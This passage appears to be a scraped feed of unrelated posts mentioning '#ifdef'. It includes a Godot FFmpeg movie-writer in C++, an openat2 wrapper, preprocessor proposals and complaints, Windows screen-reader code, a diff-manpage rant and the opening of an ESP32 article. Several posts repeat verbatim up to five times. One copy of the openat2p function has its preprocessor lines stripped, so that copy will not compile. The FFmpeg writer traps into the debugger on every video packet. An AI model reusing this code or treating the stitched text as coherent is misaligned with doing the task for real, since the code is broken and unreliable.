    _video_context->width = p_movie_size.x;
    _video_context->height = p_movie_size.y;
    _video_context->sample_aspect_ratio = av_make_q(1, 1);
    _video_context->pix_fmt = AV_PIX_FMT_YUV420P;

    AVDictionary *video_options = nullptr;
    av_dict_set_int(&video_options, "crf", 30, 0);

    error = avcodec_open2(_video_context, video_codec, &video_options);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    av_dict_free(&video_options);

    _video_stream = avformat_new_stream(_context, video_codec);
    ERR_FAIL_NULL_V_MSG(_video_stream, FAILED, "failed to create video stream");
    error = avcodec_parameters_from_context(_video_stream->codecpar, _video_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    const AVCodec *audio_codec = avcodec_find_encoder(AV_CODEC_ID_OPUS);
    ERR_FAIL_NULL_V_MSG(audio_codec, FAILED, "ffmpeg was not compiled with Opus support");

    _audio_context = avcodec_alloc_context3(audio_codec);
    ERR_FAIL_NULL_V_MSG(_audio_context, FAILED, "failed to allocate audio context");

    _audio_context->bit_rate = 96000;
    _audio_context->time_base = av_make_q(1, 48000);
    _audio_context->sample_rate = 48000;
    _audio_context->sample_fmt = AV_SAMPLE_FMT_S16;
    _audio_context->ch_layout = AV_CHANNEL_LAYOUT_STEREO;

    error = avcodec_open2(_audio_context, audio_codec, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _audio_stream = avformat_new_stream(_context, audio_codec);
    ERR_FAIL_NULL_V_MSG(_audio_stream, FAILED, "failed to create audio stream");
    error = avcodec_parameters_from_context(_audio_stream->codecpar, _audio_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _image_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_image_frame, FAILED, "failed to create image frame");
    _image_frame->width = p_movie_size.x;
    _image_frame->height = p_movie_size.y;
    _image_frame->format = AV_PIX_FMT_RGBA;
    _image_frame->sample_aspect_ratio = av_make_q(1, 1);
    error = av_frame_get_buffer(_image_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _video_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_video_frame, FAILED, "failed to create video frame");
    _video_frame->width = _video_context->width;
    _video_frame->height = _video_context->height;
    _video_frame->format = _video_context->pix_fmt;
    _video_frame->sample_aspect_ratio = _video_context->sample_aspect_ratio;
    error = av_frame_get_buffer(_video_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _sws_context = sws_alloc_context();
    ERR_FAIL_NULL_V_MSG(_sws_context, FAILED, "failed to allocate libswscale context");

    error = sws_frame_setup(_sws_context, _video_frame, _image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    DEV_ASSERT(_audio_context->sample_rate % p_fps == 0);
    _raw_audio_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_raw_audio_frame, FAILED, "failed to create raw audio frame");
    _raw_audio_frame->nb_samples = _audio_context->sample_rate / p_fps;
    _raw_audio_frame->format = AV_SAMPLE_FMT_S32;
    _raw_audio_frame->sample_rate = _audio_context->sample_rate;
    error = av_channel_layout_copy(&_raw_audio_frame->ch_layout, &_audio_context->ch_layout);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
    error = av_frame_get_buffer(_raw_audio_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _audio_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_audio_frame, FAILED, "failed to create audio frame");
    _audio_frame->nb_samples = _audio_context->frame_size;
    _audio_frame->format = _audio_context->sample_fmt;
    _audio_frame->sample_rate = _audio_context->sample_rate;
    error = av_channel_layout_copy(&_audio_frame->ch_layout, &_audio_context->ch_layout);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
    error = av_frame_get_buffer(_audio_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _swr_context = swr_alloc();
    ERR_FAIL_NULL_V_MSG(_swr_context, FAILED, "failed to allocate libswresample context");

    error = swr_config_frame(_swr_context, _audio_frame, _raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    error = swr_init(_swr_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _packet = av_packet_alloc();

    error = avio_open(&_context->pb, p_base_path.utf8().get_data(), AVIO_FLAG_WRITE);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    error = avformat_write_header(_context, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    return OK;
    #else
    return ERR_UNAVAILABLE;
    #endif
    }

    Error FFmpegMovieWriter::_write_frame(const Ref<Image> &p_frame_image, const void *p_audio_frame_block) {
    #ifdef FFMPEG_AVAILABLE
    ERR_FAIL_COND_V(!_write_image(p_frame_image), FAILED);
    ERR_FAIL_COND_V(!_write_audio(p_audio_frame_block), FAILED);

    return OK;
    #else
    return ERR_UNAVAILABLE;
    #endif
    }

    void FFmpegMovieWriter::_write_end() {
    #ifdef FFMPEG_AVAILABLE
    int error = avcodec_send_frame(_video_context, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    ERR_FAIL_COND(!_write_packets(_video_context, _video_stream));

    // check for any remaining samples at the end of the stream
    if (swr_get_delay(_swr_context, _audio_frame->sample_rate) > 0) {
    error = av_frame_make_writable(_audio_frame);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    _audio_frame->pts = _audio_pts;

    error = avcodec_send_frame(_audio_context, _audio_frame);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
    }

    error = avcodec_send_frame(_audio_context, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    ERR_FAIL_COND(!_write_packets(_audio_context, _audio_stream));

    av_write_trailer(_context);

    avio_closep(&_context->pb);

    av_packet_free(&_packet);
    av_frame_free(&_raw_audio_frame);
    av_frame_free(&_audio_frame);
    av_frame_free(&_video_frame);
    av_frame_free(&_image_frame);
    swr_free(&_swr_context);
    sws_free_context(&_sws_context);
    avcodec_free_context(&_audio_context);
    avcodec_free_context(&_video_context);
    avformat_free_context(_context);
    #endif
    }

    #ifdef FFMPEG_AVAILABLE
    bool FFmpegMovieWriter::_write_packets(AVCodecContext *p_context, AVStream *p_stream) {
    while (avcodec_receive_packet(p_context, _packet) == 0) {
    av_packet_rescale_ts(_packet, p_context->time_base, p_stream->time_base);
    _packet->stream_index = p_stream->index;

    if (p_context->pix_fmt != AV_PIX_FMT_NONE) {
    __builtin_debugtrap();
    }

    int error = av_interleaved_write_frame(_context, _packet);
    CRASH_COND(error < 0);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    }

    return true;
    }

    bool FFmpegMovieWriter::_write_image(const Ref<Image> &p_frame_image) {
    DEV_ASSERT(p_frame_image->get_format() == Image::FORMAT_RGBA8);
    DEV_ASSERT(p_frame_image->get_width() == _image_frame->width);
    DEV_ASSERT(p_frame_image->get_height() == _image_frame->height);

    int error = av_frame_make_writable(_image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    memcpy(_image_frame->data[0], p_frame_image->get_data().ptr(), p_frame_image->get_data_size());

    error = av_frame_make_writable(_video_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    error = sws_scale_frame(_sws_context, _video_frame, _image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    _video_frame->pts = _video_pts;
    _video_pts++;

    error = avcodec_send_frame(_video_context, _video_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    return _write_packets(_video_context, _video_stream);
    }

    bool FFmpegMovieWriter::_write_audio(const void *p_audio_frame_block) {
    int error = av_frame_make_writable(_raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    memcpy(_raw_audio_frame->data[0], p_audio_frame_block, _raw_audio_frame->nb_samples * sizeof(int32_t));

    error = swr_convert_frame(_swr_context, nullptr, _raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    while (swr_get_delay(_swr_context, _audio_frame->sample_rate) >= _audio_frame->nb_samples) {
    error = av_frame_make_writable(_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    _audio_frame->pts = _audio_pts;
    _audio_pts += _audio_frame->nb_samples;

    error = avcodec_send_frame(_audio_context, _audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    }

    return _write_packets(_audio_context, _audio_stream);
    }
    #endif
  7. CW: C++
    #include "util/ffmpeg_movie_writer.h"

    #include <godot_cpp/classes/image.hpp>

    #ifdef FFMPEG_AVAILABLE
    extern "C" {
    #include <libavcodec/avcodec.h>
    #include <libavformat/avformat.h>
    #include <libswresample/swresample.h>
    #include <libswscale/swscale.h>
    }
    #endif

    void FFmpegMovieWriter::_bind_methods() {
    }

    uint32_t FFmpegMovieWriter::_get_audio_mix_rate() const {
    return 48000;
    }

    AudioServer::SpeakerMode FFmpegMovieWriter::_get_audio_speaker_mode() const {
    return AudioServer::SPEAKER_MODE_STEREO;
    }

    bool FFmpegMovieWriter::_handles_file(const String &p_path) const {
    return p_path.get_extension().to_lower() == "mkv";
    }

    PackedStringArray FFmpegMovieWriter::_get_supported_extensions() const {
    return { "mkv" };
    }

    Error FFmpegMovieWriter::_write_begin(const Vector2i &p_movie_size, uint32_t p_fps, const String &p_base_path) {
    #ifdef FFMPEG_AVAILABLE
    int error = avformat_alloc_output_context2(&_context, nullptr, "matroska", p_base_path.utf8().get_data());
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    const AVCodec *video_codec = avcodec_find_encoder(AV_CODEC_ID_AV1);
    ERR_FAIL_NULL_V_MSG(video_codec, FAILED, "ffmpeg was not compiled with AV1 support");

    _video_context = avcodec_alloc_context3(video_codec);
    ERR_FAIL_NULL_V_MSG(_video_context, FAILED, "failed to allocate video context");

    _video_context->time_base = av_make_q(1, p_fps);
    _video_context->framerate = av_make_q(p_fps, 1);
    _video_context->width = p_movie_size.x;
    _video_context->height = p_movie_size.y;
    _video_context->sample_aspect_ratio = av_make_q(1, 1);
    _video_context->pix_fmt = AV_PIX_FMT_YUV420P;

    AVDictionary *video_options = nullptr;
    av_dict_set_int(&video_options, "crf", 30, 0);

    error = avcodec_open2(_video_context, video_codec, &video_options);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    av_dict_free(&video_options);

    _video_stream = avformat_new_stream(_context, video_codec);
    ERR_FAIL_NULL_V_MSG(_video_stream, FAILED, "failed to create video stream");
    error = avcodec_parameters_from_context(_video_stream->codecpar, _video_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    const AVCodec *audio_codec = avcodec_find_encoder(AV_CODEC_ID_OPUS);
    ERR_FAIL_NULL_V_MSG(audio_codec, FAILED, "ffmpeg was not compiled with Opus support");

    _audio_context = avcodec_alloc_context3(audio_codec);
    ERR_FAIL_NULL_V_MSG(_audio_context, FAILED, "failed to allocate audio context");

    _audio_context->bit_rate = 96000;
    _audio_context->time_base = av_make_q(1, 48000);
    _audio_context->sample_rate = 48000;
    _audio_context->sample_fmt = AV_SAMPLE_FMT_S16;
    _audio_context->ch_layout = AV_CHANNEL_LAYOUT_STEREO;

    error = avcodec_open2(_audio_context, audio_codec, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _audio_stream = avformat_new_stream(_context, audio_codec);
    ERR_FAIL_NULL_V_MSG(_audio_stream, FAILED, "failed to create audio stream");
    error = avcodec_parameters_from_context(_audio_stream->codecpar, _audio_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _image_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_image_frame, FAILED, "failed to create image frame");
    _image_frame->width = p_movie_size.x;
    _image_frame->height = p_movie_size.y;
    _image_frame->format = AV_PIX_FMT_RGBA;
    _image_frame->sample_aspect_ratio = av_make_q(1, 1);
    error = av_frame_get_buffer(_image_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _video_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_video_frame, FAILED, "failed to create video frame");
    _video_frame->width = _video_context->width;
    _video_frame->height = _video_context->height;
    _video_frame->format = _video_context->pix_fmt;
    _video_frame->sample_aspect_ratio = _video_context->sample_aspect_ratio;
    error = av_frame_get_buffer(_video_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _sws_context = sws_alloc_context();
    ERR_FAIL_NULL_V_MSG(_sws_context, FAILED, "failed to allocate libswscale context");

    error = sws_frame_setup(_sws_context, _video_frame, _image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    DEV_ASSERT(_audio_context->sample_rate % p_fps == 0);
    _raw_audio_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_raw_audio_frame, FAILED, "failed to create raw audio frame");
    _raw_audio_frame->nb_samples = _audio_context->sample_rate / p_fps;
    _raw_audio_frame->format = AV_SAMPLE_FMT_S32;
    _raw_audio_frame->sample_rate = _audio_context->sample_rate;
    error = av_channel_layout_copy(&_raw_audio_frame->ch_layout, &_audio_context->ch_layout);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
    error = av_frame_get_buffer(_raw_audio_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _audio_frame = av_frame_alloc();
    ERR_FAIL_NULL_V_MSG(_audio_frame, FAILED, "failed to create audio frame");
    _audio_frame->nb_samples = _audio_context->frame_size;
    _audio_frame->format = _audio_context->sample_fmt;
    _audio_frame->sample_rate = _audio_context->sample_rate;
    error = av_channel_layout_copy(&_audio_frame->ch_layout, &_audio_context->ch_layout);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
    error = av_frame_get_buffer(_audio_frame, 0);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _swr_context = swr_alloc();
    ERR_FAIL_NULL_V_MSG(_swr_context, FAILED, "failed to allocate libswresample context");

    error = swr_config_frame(_swr_context, _audio_frame, _raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    error = swr_init(_swr_context);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    _packet = av_packet_alloc();

    error = avio_open(&_context->pb, p_base_path.utf8().get_data(), AVIO_FLAG_WRITE);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    error = avformat_write_header(_context, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));

    return OK;
    #else
    return ERR_UNAVAILABLE;
    #endif
    }

    Error FFmpegMovieWriter::_write_frame(const Ref<Image> &p_frame_image, const void *p_audio_frame_block) {
    #ifdef FFMPEG_AVAILABLE
    ERR_FAIL_COND_V(!_write_image(p_frame_image), FAILED);
    ERR_FAIL_COND_V(!_write_audio(p_audio_frame_block), FAILED);

    return OK;
    #else
    return ERR_UNAVAILABLE;
    #endif
    }

    void FFmpegMovieWriter::_write_end() {
    #ifdef FFMPEG_AVAILABLE
    int error = avcodec_send_frame(_video_context, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    ERR_FAIL_COND(!_write_packets(_video_context, _video_stream));

    // check for any remaining samples at the end of the stream
    if (swr_get_delay(_swr_context, _audio_frame->sample_rate) > 0) {
    error = av_frame_make_writable(_audio_frame);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    _audio_frame->pts = _audio_pts;

    error = avcodec_send_frame(_audio_context, _audio_frame);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));
    }

    error = avcodec_send_frame(_audio_context, nullptr);
    ERR_FAIL_COND_MSG(error < 0, av_err2str(error));

    ERR_FAIL_COND(!_write_packets(_audio_context, _audio_stream));

    av_write_trailer(_context);

    avio_closep(&_context->pb);

    av_packet_free(&_packet);
    av_frame_free(&_raw_audio_frame);
    av_frame_free(&_audio_frame);
    av_frame_free(&_video_frame);
    av_frame_free(&_image_frame);
    swr_free(&_swr_context);
    sws_free_context(&_sws_context);
    avcodec_free_context(&_audio_context);
    avcodec_free_context(&_video_context);
    avformat_free_context(_context);
    #endif
    }

    #ifdef FFMPEG_AVAILABLE
    bool FFmpegMovieWriter::_write_packets(AVCodecContext *p_context, AVStream *p_stream) {
    while (avcodec_receive_packet(p_context, _packet) == 0) {
    av_packet_rescale_ts(_packet, p_context->time_base, p_stream->time_base);
    _packet->stream_index = p_stream->index;

    if (p_context->pix_fmt != AV_PIX_FMT_NONE) {
    __builtin_debugtrap();
    }

    int error = av_interleaved_write_frame(_context, _packet);
    CRASH_COND(error < 0);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    }

    return true;
    }

    bool FFmpegMovieWriter::_write_image(const Ref<Image> &p_frame_image) {
    DEV_ASSERT(p_frame_image->get_format() == Image::FORMAT_RGBA8);
    DEV_ASSERT(p_frame_image->get_width() == _image_frame->width);
    DEV_ASSERT(p_frame_image->get_height() == _image_frame->height);

    int error = av_frame_make_writable(_image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    memcpy(_image_frame->data[0], p_frame_image->get_data().ptr(), p_frame_image->get_data_size());

    error = av_frame_make_writable(_video_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    error = sws_scale_frame(_sws_context, _video_frame, _image_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    _video_frame->pts = _video_pts;
    _video_pts++;

    error = avcodec_send_frame(_video_context, _video_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    return _write_packets(_video_context, _video_stream);
    }

    bool FFmpegMovieWriter::_write_audio(const void *p_audio_frame_block) {
    int error = av_frame_make_writable(_raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    memcpy(_raw_audio_frame->data[0], p_audio_frame_block, _raw_audio_frame->nb_samples * sizeof(int32_t));

    error = swr_convert_frame(_swr_context, nullptr, _raw_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    while (swr_get_delay(_swr_context, _audio_frame->sample_rate) >= _audio_frame->nb_samples) {
    error = av_frame_make_writable(_audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    error = swr_convert_frame(_swr_context, _audio_frame, nullptr);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));

    _audio_frame->pts = _audio_pts;
    _audio_pts += _audio_frame->nb_samples;

    error = avcodec_send_frame(_audio_context, _audio_frame);
    ERR_FAIL_COND_V_MSG(error < 0, false, av_err2str(error));
    }

    return _write_packets(_audio_context, _audio_stream);
    }
    #endif
  8. Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not

    if(foo)
    bar();
    else if(baz)
    foobar();

    #ifdef ASDF
    meow();
    #endif

  9. Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not

    if(foo)
    bar();
    else if(baz)
    foobar();

    #ifdef ASDF
    meow();
    #endif

  10. Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not

    if(foo)
    bar();
    else if(baz)
    foobar();

    #ifdef ASDF
    meow();
    #endif

  11. Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not

    if(foo)
    bar();
    else if(baz)
    foobar();

    #ifdef ASDF
    meow();
    #endif

  12. Related: on at least recent clang this triggers a Wmisleading-indentation warning on the meow() line, but IMO should not

    if(foo)
    bar();
    else if(baz)
    foobar();

    #ifdef ASDF
    meow();
    #endif

  13. I'm aware the export dialog had a field where excluded files can be specified, but it's a bit basic. Ideally I'd love to have something like this:

    #ifdef DEMO_MODE
    [file list to exclude from demo mode]
    #else
    [file list to exclude from full version]
    #endif

  14. I'm aware the export dialog had a field where excluded files can be specified, but it's a bit basic. Ideally I'd love to have something like this:

    #ifdef DEMO_MODE
    [file list to exclude from demo mode]
    #else
    [file list to exclude from full version]
    #endif

  15. I'm aware the export dialog had a field where excluded files can be specified, but it's a bit basic. Ideally I'd love to have something like this:

    #ifdef DEMO_MODE
    [file list to exclude from demo mode]
    #else
    [file list to exclude from full version]
    #endif

  16. I'm aware the export dialog had a field where excluded files can be specified, but it's a bit basic. Ideally I'd love to have something like this:

    #ifdef DEMO_MODE
    [file list to exclude from demo mode]
    #else
    [file list to exclude from full version]
    #endif

  17. I'm aware the export dialog had a field where excluded files can be specified, but it's a bit basic. Ideally I'd love to have something like this:

    #ifdef DEMO_MODE
    [file list to exclude from demo mode]
    #else
    [file list to exclude from full version]
    #endif

  18. int
    openat2p(int dirfd, const char *path,
    int flags, mode_t mode)
    {
    #ifdef __linux__
    struct open_how how = {
    .flags = flags,
    .mode = mode,
    .resolve =
    RESOLVE_BENEATH |
    RESOLVE_NO_SYMLINKS |
    RESOLVE_NO_MAGICLINKS
    };
    #endif

    if (dirfd < 0) {
    errno = EBADF;
    return -1;
    }

    if (path == NULL) {
    errno = EFAULT;
    return -1;
    }

    #ifdef __linux__
    return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
    #else
    return openat(dirfd, path, flags, mode);
    #endif
    }

  19. int
    openat2p(int dirfd, const char *path,
    int flags, mode_t mode)
    {
    #ifdef __linux__
    struct open_how how = {
    .flags = flags,
    .mode = mode,
    .resolve =
    RESOLVE_BENEATH |
    RESOLVE_NO_SYMLINKS |
    RESOLVE_NO_MAGICLINKS
    };
    #endif

    if (dirfd < 0) {
    errno = EBADF;
    return -1;
    }

    if (path == NULL) {
    errno = EFAULT;
    return -1;
    }

    #ifdef __linux__
    return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
    #else
    return openat(dirfd, path, flags, mode);
    #endif
    }

  20. int
    openat2p(int dirfd, const char *path,
    int flags, mode_t mode)
    {
    #ifdef __linux__
    struct open_how how = {
    .flags = flags,
    .mode = mode,
    .resolve =
    RESOLVE_BENEATH |
    RESOLVE_NO_SYMLINKS |
    RESOLVE_NO_MAGICLINKS
    };
    #endif

    if (dirfd < 0) {
    errno = EBADF;
    return -1;
    }

    if (path == NULL) {
    errno = EFAULT;
    return -1;
    }

    #ifdef __linux__
    return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
    #else
    return openat(dirfd, path, flags, mode);
    #endif
    }

  21. int
    openat2p(int dirfd, const char *path,
    int flags, mode_t mode)
    {
    __linux__
    struct open_how how = {
    .flags = flags,
    .mode = mode,
    .resolve =
    RESOLVE_BENEATH |
    RESOLVE_NO_SYMLINKS |
    RESOLVE_NO_MAGICLINKS
    };

    if (dirfd < 0) {
    errno = EBADF;
    return -1;
    }

    if (path == NULL) {
    errno = EFAULT;
    return -1;
    }

    __linux__
    return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));

    return openat(dirfd, path, flags, mode);

    }

  22. int
    openat2p(int dirfd, const char *path,
    int flags, mode_t mode)
    {
    #ifdef __linux__
    struct open_how how = {
    .flags = flags,
    .mode = mode,
    .resolve =
    RESOLVE_BENEATH |
    RESOLVE_NO_SYMLINKS |
    RESOLVE_NO_MAGICLINKS
    };
    #endif

    if (dirfd < 0) {
    errno = EBADF;
    return -1;
    }

    if (path == NULL) {
    errno = EFAULT;
    return -1;
    }

    #ifdef __linux__
    return syscall(SYS_openat2, dirfd, path, &how, sizeof(how));
    #else
    return openat(dirfd, path, flags, mode);
    #endif
    }

  23. @feuer toi lienee ihan ok, mutta jos ymmärrän tilanteen oikein niin tyypillinen ratkaisu tähän on kai sanoa headerissa

    #ifdef __cplusplus
    extern "C" {
    #endif

    (sisältö)

    #ifdef __cplusplus
    }
    #endif

  24. update: I did, that works great.

    but also, I really had to bite the bullet and parse #ifdef #else etc. so now I have a little stack machine set up.

  25. thinking of the namespace proposal for c, and, i wonder if, we couldn’t have namespaces done in the preprocessor, like:

    /* lib.h */
    #namespace lib lib_
    
    void lib::foo(); /* declares lib_foo as a function name */
    
    /* app.c */
    #include <lib.h>
    #using lib::foo
    #using lib::foo as nya
    #using lib as MyApi
    
    int main(void) {
    	/* all of those would be pre-processed to lib_foo() */
    	lib::foo();
    	foo();
    	nya();
    	MyApi::foo();
    }
    

    works with macros, and identifiers, basically anywhere a #define would also work

    and could be backwards compatible, e.g. if i were to use it in openrc:

    /* rc.h */
    #ifdef _HAS_NAMESPACE
    #namespace rc rc_
    #namespace RC RC_
    #endif
    

    now older c programs can still use rc_service_resolve, and newer ones can use rc::service_resolve (as well as #using directives)

    including whole namespace, like #using lib, could work but it’d be a pain to implement i think, since the preprocessor would need to keep track of all lib_ it sees since #namespace was declared, and forward-replace them

    but with or without whole-namespace-inclusion, this has really simple semantics and imo predictable errors, as namespacing conflicts can be reported the same way “redefinition” of macro names are

  26. @draeand I don't even think it used the docs lol. For the record, if you're curious: // Prism state
    #ifdef USE_PRISM
    static PrismContext* g_prismCtx = nullptr;
    static PrismBackend* g_prismBackend = nullptr;
    #endif

    Then, // Screen reader output - uses async message to avoid blocking UI
    #ifdef USE_PRISM
    static std::string g_pendingSpeech;
    static bool g_speechInterrupt = true;

    void DoSpeak() {
    if (g_prismBackend && !g_pendingSpeech.empty()) {
    prism_backend_output(g_prismBackend, g_pendingSpeech.c_str(), g_speechInterrupt);
    g_pendingSpeech.clear();
    }
    }

    void Speak(const char* text, bool interrupt = true) {
    if (g_prismBackend && g_hwnd) {
    g_pendingSpeech = text;
    g_speechInterrupt = interrupt;
    PostMessage(g_hwnd, WM_SPEAK, 0, 0);
    }
    }

    void Speak(const std::string& text, bool interrupt = true) {
    Speak(text.c_str(), interrupt);
    }
    #else
    void DoSpeak() {}
    void Speak(const char*, bool = true) {}
    void Speak(const std::string&, bool = true) {}
    #endif

    and in the init funcs: // Initialize Prism for screen reader support
    #ifdef USE_PRISM
    bool InitPrism(HWND hwnd) {
    PrismConfig cfg = prism_config_init();
    cfg.hwnd = hwnd;

    g_prismCtx = prism_init(&cfg);
    if (!g_prismCtx) {
    return false;
    }

    g_prismBackend = prism_registry_acquire_best(g_prismCtx);
    if (!g_prismBackend) {
    return false;
    }

    PrismError err = prism_backend_initialize(g_prismBackend);
    if (err != PRISM_OK) {
    return false;
    }

    return true;
    }

    // Shutdown Prism
    void FreePrism() {
    if (g_prismBackend) {
    prism_backend_free(g_prismBackend);
    g_prismBackend = nullptr;
    }
    if (g_prismCtx) {
    prism_shutdown(g_prismCtx);
    g_prismCtx = nullptr;
    }
    }
    #else
    bool InitPrism(HWND) { return false; }
    void FreePrism() {}
    #endif

  27. (Possibly relevant to @b0rk 's interests)

    So I hit a flag in diff, --unchanged-group-format. It does not show up in the manpage. It does not show up in --help. You can search both those channels for that string and you will not find it.

    You know where it shows up first? If you Google it, you'll get an example in gnu.org/software/diffutils/man.

    So why doesn't it show up in the manpage? Well, it does! If you read the entire manpage. With your eyes.

      -D, --ifdef=NAME                output merged file with '#ifdef NAME' diffs                                                                                                                                                                                                                                                                                                              
    --GTYPE-group-format=GFMT format GTYPE input groups with GFMT
    --line-format=LFMT format all input lines with LFMT
    --LTYPE-line-format=LFMT format LTYPE input lines with LFMT
    These format options provide fine-grained control over the output
    of diff, generalizing -D/--ifdef.
    LTYPE is 'old', 'new', or 'unchanged'. GTYPE is LTYPE or 'changed'.

    "What do you mean it isn't documented? Of course it's documented. You did read every line and do some template-substitution in your brain, didn't you?"

    This isn't advocating for not reading the manpage. If you really want to understand how the tool works, you read the whole manpage. And probably the source code. 😉

    ... but I don't want to understand how the tool works. I want to diff two files and not have the lines that are the same get emitted.

    And I think a lot of application- and solution-generating computer people, most of the time, in most of their careers, are operating on that level of depth. Problems come in too fast and with too much variety. You absolutely go deep on some things. There is no time to go deep on everything.

    So how do we address this (other than throw up our hands and say "Relying on Google's fuzzy search of the whole Internet and vibe-coding LLMs is the future actually")? I don't have magic bullets, but a "fuzzy search" mode in something like less that could take an input like --unchanged-group-format and twig that it if there's no exact match, it might be related to --GTYPE-group-format would be nice.

    Maybe I should mock that up in emacs. Actually, I bet someone already put it in emacs. ;)

    #emacs #manpage #less

  28. I’ve been meaning to do something with the ESP32 for some time. I have some general ESP32-C3 devices, and a range of XIAO ESP32 (S2 and C3) devices too, but what I was particularly interested in was the original ESP32 as it includes two 8-bit DACs.

    This is my first set of experiments using a cheap ESP32-WROOM-32D devkit available from various online sites.

    Warning! I strongly recommend using old or second hand equipment for your experiments.  I am not responsible for any damage to expensive instruments!

    If you are new to microcontrollers, see the Getting Started pages.

    ESP32 WROOM DevKit

    The ESP32 is a whole range of powerful 32-bit microcontrollers that include Wi-Fi and Bluetooth. They can be programmed via the Arduino IDE using an ESP32 core from Espressif.

    I was particularly after the original ESP32, so not one qualified with a S2, S3, C3, or similar reference. This is based on the dual-core Xtensa 32-bit LX6, running between 80 and 240 MHz. As well as Wi-Fi and Bluetooth there is a full range of embedded peripherals, including two 8-bit DAC outputs alongside a number of ADC inputs, and built-in 4Mb SPI flash.

